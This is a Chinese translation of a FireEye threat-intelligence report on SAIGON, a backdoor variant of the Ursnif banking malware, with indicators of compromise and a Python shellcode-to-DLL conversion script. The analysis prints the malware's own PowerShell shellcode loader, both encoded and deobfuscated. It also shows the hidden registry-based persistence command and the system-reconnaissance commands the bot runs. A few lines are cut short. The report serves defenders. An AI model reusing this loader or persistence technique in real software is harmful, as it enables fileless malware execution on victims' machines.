银行恶意软件Ursnif的一个特殊变种——SAIGON恶意软件分析
导语:FireEye对一台托管了一系列工具的服务器进行了分析,发现其中包含多个恶意软件家族,最终确认发现Ursnif恶意软件家族此前未知的一个新变种。
一、概述
Ursnif(又称为Gozi或Gozi-ISFB),是最早发现的银行恶意软件家族之一,至今仍然在持续活跃。尽管Ursnif的第一个核心版本是在2006年被发现的,但由于其源代码被泄露,导致后续版本的接连出现。在2019年9月,FireEye对一台托管了一系列工具的服务器进行了分析,发现其中包含多个恶意软件家族,最终确认发现Ursnif恶意软件家族此前未知的一个新变种。该恶意软件自称为“SaiGon 3.50版本,rev 132”,但经过我们的分析表明,该恶意软件很可能是基于Ursnif的v3(RM3)源代码而开发的变种。值得关注的是,SAIGON并不是一个功能完全成熟的银行恶意软件,而是一个更为通用的后门程序,可能是专门用于有针对性的网络犯罪活动。
二、技术分析
2.1 恶意软件行为
在受感染的计算机上,SAIGON将Shellcode Blob存储在注册表项中,以Base64编码的形式保存,随后利用PowerShell通过计划任务运行Shellcode。与其他Ursnif变种一样,该恶意软件的主要组件是DLL文件。这个DLL具有单独的导出函数DllRegisterServer,该函数是未经使用的空函数。在通过DLL的入口点加载并初始化DLL时,将会执行恶意软件的所有相关功能。
在初始执行后,恶意软件会使用%SystemDrive%\pagefile.sys或%SystemDrive%\hiberfil.sys的创建时间戳(以最先识别的为准)生成计算机ID。值得关注的是,这里还会以一种不常见的方式,直接从KUSER_SHARED_DATA结构(通过SharedUserData→NtSystemRoot)查询系统驱动器。KUSER_SHARED_DATA结构位于内核内存的特殊部分中,这一部分会映射到所有用户模式进程的内存空间中(共享),并且始终位于固定的内存地址(0x7ffe0000,由SharedUserData符号指向)。
然后,恶意代码通过对GetWindowThreadProcessId(GetShellWindow(), …)的调用来查找当前的Shell进程。该代码中还包含特殊的检查功能。如果根据Shell父进程名称计算出的校验和与explorer.exe(0xc3c07cf0)的校验和匹配,则恶意代码还将尝试注入到父进程中。
然后,SAIGON使用经典的VirtualAllocEx / WriteProcessMemory / CreateRemoteThread函数组合将其注入该进程。在注入进程后,会将其从二进制文件中加载两个嵌入式文件,分别是:
1、PUBLIC.KEY文件,用于验证和解密来自恶意软件的命令和控制(C2)服务器的其他嵌入式文件和数据;
2、RUN.PS1文件,这是一个PowerShell加载器脚本模板,该脚本模板中包含“@SOURCE@”占位符。
$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@"); Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("JHdneG1qZ2J4dGo9JGh hbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF 0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWB ucHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0K GAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RlVGhyZWFkKEl udFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN 0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCI pXWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmplY3QoSW50UHRyIGFqLC BVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dG VybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4eSx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1 dHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UeXBlIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSAnV2luMzI nIC1uYW1lc3BhY2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6Vml ydHVhbEFsbG9jKDAsJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU 2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskd GRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLC RtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG 9jbm53a3ZvcSwzMDAwMCk7")));
该恶意软件用自身的Base64编码版本替换了这个PowerShell脚本模板中的“@SOURCE@”占位符,并将PowerShell脚本写入到位于“HKEY_CURRENT_USER\Identities\{
PowerShell脚本写入PsRun:
随后,SAIGON实例创建一个名为“Power
计划任务:
无论使用哪种持久性机制,从注册表中执行二进制文件的命令都会类似于如下内容:
PowerShell.exe -windowstyle hidden -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwASQBkAGUAbgB0AGkAdABpAGUAcwBcAHsANAAzAEIA OQA1AEUANQBCAC0ARAAyADEAOAAtADAAQQBCADgALQA1AEQANwBGAC0AMgBDADcAOAA5AEMANQA5 AEIAMQBEAEYAfQAnACkALgBQAHMAUgB1AG4A
在对该命令进行Base64解码之后,发现该命令类似于“iex (gp 'HKCU:\\Identities\\{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}').PsRun”。在执行后,该命令会使用Get-ItemProperty (gp)检索上一个注册表值中的内容,并使用Invoke-Expression (iex)来执行。
最后,注册表中的PowerShell代码会分配一个内存块,将Base64解码后的Shellcode Blob复制到其中,使用CreateRemoteThread启动指向该区域的新线程,然后等待该线程完成。以下脚本是PowerShell的反混淆和美化后版本。
$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@"); $wgxmjgbxtj = $hanksefksgu.Length; $tskvo = @" [DllImport("kernel32")] public static extern Int32 GetCurrentProcess(); [DllImport("user32")] public static extern IntPtr GetDC(IntPtr mxxahxof); [DllImport("kernel32")] public static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdrictwdk, uint klmhnsk, IntPtr vcexsualwhh); [DllImport("kernel32")] public static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev); [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud); "@; $tskaaxotxe = Add-Type -memberDefinition $tskvo -Name 'Win32' -namespace Win32Functions -passthru; $mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($hanksefksgu, 0, $mhxkpull, $wgxmjgbxtj); $tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0); $ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000);
一旦在计算机上建立了立足点,SAIGON就会加载并解析其嵌入式LOADER.INI配置(有关详细信息,请参考“2.2 恶意软件配置”一节),并启动其主工作线程,该线程不断向C2服务器发出查询命令。
2.2 恶意软件配置
在Ursnif源代码中,使用了一个称为“联合数据”(Joined Data)的概念,这个概念是与可执行文件捆绑在一起的一组压缩/加密文件。早期的变种依赖于PE头之后的特殊结构,并使用特定的魔术字节进行标记(例如:“JF”、“FJ”、“J1”、“JJ”等,具体取决于Ursnif版本)。在Ursnif v3中,该数据不再只是位于PE头之后,而是由PE头的安全目录指向,并且魔术字节也已经更改为“WD”(0x4457)。
Ursnif v3联合数据:
该结构定义了Bundled文件的各种属性,包括偏移量、大小和类型。这与SAIGON用于存储三个嵌入式文件的方法完全相同:
1、PUBLIC.KEY – RSA公钥;
2、RUN.PS1 – PowerShell脚本模板;
3、LOADER.INI – 恶意软件配置。
以下是观察到的配置选项的列表:
(1)HostsList(校验和:0x97ccd204) 用于通信的C2 URL列表;
(2)ServerKey(校验和:0xd82bcb60) 用于与C2通信的Serpent密钥;
(3)Group(校验和:0x23a02904) 僵尸网络ID;
(4)IdlePeriod(校验和:0x776c71c0) 向C2发出初始请求前要等待的秒数;
(5)MinimumUptime(校验和:0x22aa2818) 正常运行前需等待的时间(以秒为单位);
(6)LoadPeriod(校验和:0x5beb543e) 在每次对C2发起请求之间等待的时间(以秒为单位);
(7)HostKeepTime(校验和:0x84485ef2) 发生故障时切换到下一个C2服务器前需等待的时间(以秒为单位)。
2.3 恶意软件通信
尽管SAIGON的网络通信结构与Ursnif v3非常相似,但二者之间仍然存在一些细微的差异。SAIGON信标通过HTTP/POST到“/index.html”URL路径的multipart/form-data编码请求发送到C2服务器。首先,使用Serpent加密(在ECB模式和CBC模式下)对要发送的Payload进行加密,然后再进行Base64编码。来自服务器的响应使用相同的Serpent密钥加密,并使用服务器的RSA私钥签名。
SAIGON在其HTTP请求中使用以下User-Agent标头:“Mozilla/5.0 (Windows NT
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" on Windows 10 64-bit "Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0" on Windows 7 32-bit
请求格式也类似于上文中描述的其他Ursnif变种所使用的格式:
ver=%u&group=%u&id=%08x%08x%08x%08x&type=%u&uptime=%u&knock=%u
请求中各字段作用如下:
(1)ver – Bot版本(与其他Ursnif变种不同,该版本仅包含内部版本号,因此只包含“3.5.xxx”中的“xxx”位);
(2)group – 僵尸网络ID;
(3)id – 客户端ID;
(4)type – 请求类型(0表示轮询任务,6表示上传系统信息数据);
(5)uptime – 主机正常运行时间(以秒为单位);
(6)knock – Bot“敲门”的周期(在对C2发出每次请求之间需等待的秒数,参考LoadPeriod配置选项)。
2.4 恶意软件功能
SAIGON实现了如下描述的Bot命令。
(1)SELF_DELETE(校验和:0x45d4bf54) 从计算机上自行卸载,删除计划任务并删除其注册表项。
(2)LOAD_UPDATE(校验和:0xd86c3bdc) 从URL下载数据,解密并验证签名,将其另存为.ps1文件,然后使用“PowerShell.exe -ep unrestricted -file %s”命令来运行。
(3)GET_SYSINFO(校验和:0xeac44e42) 通过运行以下命令来收集并上传系统信息:
"systeminfo.exe"
"net view"
"nslookup 127.0.0.1"
"tasklist.exe /SVC"
"driverquery.exe"
"reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s"
(4)LOAD_DLL(校验和:0x83bf8ea0) 从URL下载数据,解密并验证,然后使用用于将自身加载到内存中的相同Shellcode加载工具将DLL加载到当前进程中。
(5)LOAD_EXE(校验和:0xa8e78c43) 从URL下载数据、解密并验证,以.exe扩展名保存,使用ShellExecute调用。
2.5 SAIGON与Ursnif v3的比较
我们对比了Ursnif v3与此次所分析的SAIGON样本之间的相似性,具体比较结果如下。
(1)持久性:都使用计划任务执行存储在注册表项中的PowerShell代码。
(2)如何存储配置:使用安全PE目录,指向以“WD”魔术字节开始的嵌入式二进制数据(又称为“Ursnif联合文件”)。
(3)PRNG算法:都使用xorshift64*。
(4)校验和算法:Ursnif v3使用JAMCRC(又称为所有位都被翻转的CRC32)计算校验和;SAIGON使用CRC32计算校验和,其结果仅向右旋转1位。
(5)数据压缩:都使用aPLib。
(6)加密/解密:Ursnif v3使用Serpent CBC;SAIGON使用Serpent ECB。
(7)数据完整性验证:都使用RSA签名。
(8)通信方式:都使用HTTP POST请求。
(9)Payload编码:Ursnif v3使用未填充的Base64(其中的“+”和“/”分别替换为“_2B”和“_2F”),并在其中添加了随机的斜杠;SAIGON使用未填充的Base64(其中的“+”和“/”分别替换为“_2B”和“_2F”),其中未添加随机斜杠。
(10)是否使用模仿的URL路径:Ursnif v3使用,SAIGON未使用。
(11)是否使用PX文件格式:Ursnif v3使用,SAIGON未使用。
下图展现了Ursnif v3使用的URL模仿路径,在其他Ursnif变种(包括SAIGON)中都没有发现此类策略。
Ursnif v3模仿URL路径(红色),在其他的Ursnif变种(包括SAIGON)中显示正常(绿色):
三、总结
目前尚不清楚SAIGON是否能代表Ursnif恶意软件生态系统更为广泛的发展状况。到目前为止,我们发现的SAIGON样本数量很少,所有样本的编译时间戳都是2018年,这表明SAIGON可能是Ursnif v3的一个小分支,只在少数恶意活动中使用。值得注意的是,SAIGON的功能与典型的银行恶意软件有所不同,并且可能更适合支持对特定目标的入侵操作。我们可以通过在服务器上预先识别SAIGON的方式来证明这一点,该服务器上托管用于入侵操作的工具,其中还包含VISA最近通报的恶意软件,以及FIN8先前使用的工具。
四、致谢
在这里,感谢Kimberly Goody、Jeremy Kennelly和James Wyke对于本篇文章提供的支持。
附录A:样本
下面是样本列表,包括其嵌入式配置。
样本SHA-256:
8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
版本:3.50.132
PE时间戳:2018-07-07T14:51:30
XOR Cookie:0x40d822d9
C2 URL:
https://google-download[.]com
https://cdn-google-eu[.]com
https://cdn-gmail-us[.]com
组/僵尸网络ID:1001
服务器密钥:rvXxkdL5DqOzIRfh
空闲时间:30
载入时间:300
主机保留时间:1440
RSA公钥:
(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)
样本SHA-256:
c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
版本:3.50.132
PE时间戳:2018-07-07T14:51:41
XOR Cookie:0x40d822d9
C2 URL:
https://google-download[.]com
https://cdn-google-eu[.]com
https://cdn-gmail-us[.]com
组/僵尸网络ID:1001
服务器密钥:rvXxkdL5DqOzIRfh
空闲时间:30
载入时间:300
主机保留时间:1440
RSA公钥:
(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)
样本SHA-256:
431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e
版本:3.50.199
PE时间戳:2018-11-15T11:17:09
XOR Cookie:0x40d822d9
C2 URL:
https://mozilla-yahoo[.]com
https://cdn-mozilla-sn45[.]com
https://cdn-digicert-i31[.]com
组/僵尸网络ID:1000
服务器密钥:rvXxkdL5DqOzIRfh
空闲时间:60
载入时间:300
主机保留时间:1440
RSA公钥:
(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b15
02ccb5c021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f5
93518a2cf4915d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)
样本SHA-256:
628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9
版本:3.50.209
PE时间戳:2018-12-04T10:47:56
XOR Cookie:0x40d822d9
C2 URL:
http://softcloudstore[.]com
http://146.0.72.76
http://setworldtime[.]com
https://securecloudbase[.]com
组/僵尸网络ID:1000
服务器密钥:0123456789ABCDEF
空闲时间:20
最小正常运行时间:300
载入时间:1800
主机保留时间:360
RSA公钥:
(0xdb7c3a9ea68fbaf5ba1aebc782be3a9e75b92e677a114b52840d2bbafa8ca49da40a64664d80cd62d9453
34f8457815dd6e75cffa5ee33ae486cb6ea1ddb88411d97d5937ba597e5c430a60eac882d8207618d14b660
70ee8137b4beb8ecf348ef247ddbd23f9b375bb64017a5607cb3849dc9b7a17d110ea613dc51e9d2aded, 0x10001)
附录B:威胁指标
样本哈希值:
8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e [VT]
628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 [VT]
C2服务器:
https://google-download[.]com
https://cdn-google-eu[.]com
https://cdn-gmail-us[.]com
https://mozilla-yahoo[.]com
https://cdn-mozilla-sn45[.]com
https://cdn-digicert-i31[.]com
http://softcloudstore[.]com
http://146.0.72.76
http://setworldtime[.]com
https://securecloudbase[.]com
User-Agent:
"Mozilla/5.0 (Windows NT
其他基于主机的指标:
“Power
注册表项HKCU\Identities\{
附录C:Shellcode转换脚本
以下Python脚本可以有助于简化对该恶意软件的分析过程。该脚本通过删除PE加载工具并还原其PE标头的方式,将SAIGON Shellcode Blob转换回其原始DLL形式。这些更改使得对于SAIGON Shellcode Blob的分析过程变得更加简单(例如:允许在IDA中加载文件)。但是在调试器中运行时,所创建的DLL将发生崩溃,因为在调试期间的进程注入阶段,恶意软件仍然依赖于PE加载工具(已经被删除)。经过转换后,样本代码行数较少且未经混淆,因此相对易于分析。
#!/usr/bin/env python3 import argparse import struct from datetime import datetime MZ_HEADER = bytes.fromhex( '4d5a90000300000004000000ffff0000' 'b8000000000000004000000000000000' '00000000000000000000000000000000' '00000000000000000000000080000000' '0e1fba0e00b409cd21b8014ccd215468' '69732070726f6772616d2063616e6e6f' '742062652072756e20696e20444f5320' '6d6f64652e0d0d0a2400000000000000' ) def main(): parser = argparse.ArgumentParser(description="Shellcode to PE converter for the Saigon malware family.") parser.add_argument("sample") args = parser.parse_args() with open(args.sample, "rb") as f: data = bytearray(f.read()) if data.startswith(b'MZ'): lfanew = struct.unpack_from('=I', data, 0x3c)[0] print('This is already an MZ/PE file.') return elif not data.startswith(b'\xe9'): print('Unknown file type.') return struct.pack_into('=I', data, 0, 0x00004550) if data[5] == 0x01: struct.pack_into('=H', data, 4, 0x14c) elif data[5] == 0x86: struct.pack_into('=H', data, 4, 0x8664) else: print('Unknown architecture.') return # file alignment struct.pack_into('=I', data, 0x3c, 0x200) optional_header_size, _ = struct.unpack_from('=HH', data, 0x14) magic, _, _, size_of_code = struct.unpack_from('=HBBI', data, 0x18) print('Magic:', hex(magic)) print('Size of code:', hex(size_of_code)) base_of_code, base_of_data = struct.unpack_from('=II', data, 0x2c) if magic == 0x20b: # base of data, does not exist in PE32+ if size_of_code & 0x0fff: tmp = (size_of_code & 0xfffff000) + 0x1000 else: tmp = size_of_code base_of_data = base_of_code + tmp print('Base of code:', hex(base_of_code)) print('Base of data:', hex(base_of_data)) data[0x18 + optional_header_size : 0x1000] = b'\0' * (0x1000 - 0x18 - optional_header_size) size_of_header = struct.unpack_from('=I', data, 0x54)[0] data_size = 0x3000 pos = data.find(struct.pack('=IIIII', 3, 5, 7, 11, 13)) if pos >= 0: data_size = pos - base_of_data section = 0 struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section, b'.text', size_of_code, base_of_code, base_of_data - base_of_code, size_of_header, 0, 0, 0, 0, 0x60000020 ) section += 1 struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section, b'.rdata', data_size, base_of_data, data_size, size_of_header + base_of_data - base_of_code, 0, 0, 0, 0, 0x40000040 ) section += 1 struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section, b'.data', 0x1000, base_of_data + data_size, 0x1000, size_of_header + base_of_data - base_of_code + data_size, 0, 0, 0, 0, 0xc0000040 ) if magic == 0x20b: section += 1 struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section, b'.pdata', 0x1000, base_of_data + data_size + 0x1000, 0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000, 0, 0, 0, 0, 0x40000040 ) section += 1 struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section, b'.bss', 0x1600, base_of_data + data_size + 0x2000, len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000, 0, 0, 0, 0, 0xc0000040 ) else: section += 1 struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section, b'.bss', 0x1000, base_of_data + data_size + 0x1000, 0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000, 0, 0, 0, 0, 0xc0000040 ) section += 1 struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section, b'.reloc', 0x2000, base_of_data + data_size + 0x2000, len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000, 0, 0, 0, 0, 0x40000040 ) header = MZ_HEADER + data[:size_of_header - len(MZ_HEADER)] pe = bytearray(header + data[0x1000:]) with open(args.sample + '.dll', 'wb') as f: f.write(pe) lfanew = struct.unpack_from('=I', pe, 0x3c)[0] timestamp = struct.unpack_from('=I', pe, lfanew + 8)[0] print('PE timestamp:', datetime.utcfromtimestamp(timestamp).isoformat()) if __name__ == "__main__": main()
发表评论